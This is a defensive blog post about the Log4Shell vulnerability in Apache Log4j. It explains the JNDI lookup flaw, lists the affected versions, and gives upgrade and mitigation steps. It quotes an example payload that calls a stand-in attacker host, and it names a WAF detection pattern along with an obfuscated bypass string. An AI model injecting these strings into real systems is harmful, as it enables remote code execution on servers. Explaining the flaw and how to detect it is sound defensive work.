Skip to main content
  1. Blog/

Log4Shell — The Zero-Day That Broke the Internet's Weekend

Osmond van Hemert
Author
Osmond van Hemert
Supply Chain Security - This article is part of a series.
Part : This Article

If you’re a developer or ops engineer reading this today, there’s a good chance you’ve already been pulled into an emergency response. A critical zero-day vulnerability in Apache Log4j, tracked as CVE-2021-44228 and nicknamed “Log4Shell,” was publicly disclosed today and it’s as bad as it sounds. We’re talking about a remote code execution vulnerability that scores a perfect 10.0 on the CVSS scale, affecting one of the most widely-used logging libraries in the Java ecosystem.

I’ve been doing this for three decades, and I can count on one hand the vulnerabilities that feel this significant. This is one of them.

What’s Actually Happening
#

The vulnerability exploits Log4j’s message lookup substitution feature. Specifically, when Log4j processes a log message containing a JNDI (Java Naming and Directory Interface) lookup string like ${jndi:ldap://attacker.com/exploit}, it will actually resolve that URL and potentially execute arbitrary code from a remote server.

Let that sink in. If an attacker can get a malicious string into any log message processed by a vulnerable Log4j instance — through a user-agent header, a form field, a chat message, literally anything that gets logged — they can achieve remote code execution on your server.

The affected versions are Log4j 2.0-beta9 through 2.14.1. Apache has released version 2.15.0 with a fix, but the scope of exposure is staggering.

Why This Is Different
#

Log4j isn’t just used by a few applications. It’s used by everything in the Java world. Apache Struts, Apache Solr, Apache Druid, ElasticSearch, Minecraft servers, and countless enterprise applications all use Log4j. Many teams don’t even know they’re using it because it’s a transitive dependency — your application depends on a library that depends on another library that depends on Log4j.

I just finished auditing one of my client projects. We found Log4j buried three levels deep in the dependency tree through a logging bridge we’d forgotten about. This is going to be the story for thousands of organizations over the coming days: discovering Log4j in places they never knew it existed.

The other factor that makes this so severe is the trivial exploitability. You don’t need specialized tools or deep technical knowledge. The proof-of-concept fits in a tweet. Within hours of the disclosure, security researchers observed mass scanning activity across the internet looking for vulnerable servers.

What to Do Right Now
#

If you’re running any Java-based application, here’s your action plan:

1. Inventory your exposure. Check your dependency trees. Run mvn dependency:tree | grep log4j for Maven projects, or gradle dependencies | grep log4j for Gradle. Don’t forget to check your Docker images, your CI/CD tools (Jenkins uses Java!), and any commercial software running on your infrastructure.

2. Upgrade Log4j to 2.15.0 wherever possible. This is the definitive fix. The release disables JNDI lookup by default.

3. If you can’t upgrade immediately, apply the mitigation. For Log4j 2.10+, set the system property log4j2.formatMsgNoLookups=true or set the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true. For older versions, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

4. Monitor your WAF and IDS for strings containing ${jndi:. Be aware that obfuscation is possible — attackers are already using nested lookups like ${${lower:j}ndi: to bypass simple pattern matching.

5. Assume compromise if you were running vulnerable versions exposed to the internet. Check for unusual outbound connections, new cron jobs, or unfamiliar processes.

The Transitive Dependency Problem
#

This vulnerability lays bare something I’ve been concerned about for years: the software supply chain problem. Modern applications don’t just have dependencies — they have dependency graphs that are impossibly complex to audit manually.

A typical enterprise Java application might have 200+ transitive dependencies. Most developers couldn’t name more than a dozen of them. We implicitly trust that every single one of those libraries is secure, maintained, and doesn’t do anything unexpected. Log4Shell proves how dangerous that assumption is.

We need better tooling for dependency auditing. Solutions like Snyk, Dependabot, and OWASP Dependency-Check exist, but adoption is inconsistent. After this week, I expect that to change rapidly.

My Take
#

I’m writing this at my desk on a Thursday evening when I should be winding down for the week. Instead, like thousands of other engineers around the world, I’m patching systems and auditing dependencies. That’s the reality of a 10.0 CVSS vulnerability in ubiquitous software.

What frustrates me most isn’t the vulnerability itself — bugs happen, even in well-maintained projects. What frustrates me is that the JNDI lookup feature that enables this exploit has been a known risk vector for years. The Log4j library was doing something incredibly powerful (and dangerous) by default, and the Java ecosystem collectively shrugged.

This is going to be a long week for a lot of teams. If you’re in the thick of it: document what you’re doing, communicate clearly with your stakeholders, and don’t skip the “assume compromise” step. The scanners were active before the CVE was even published.

Patch now. Audit everything. And when the dust settles, we need to have a serious conversation about software supply chain security. This won’t be the last time a transitive dependency ruins everyone’s weekend.

Supply Chain Security - This article is part of a series.
Part : This Article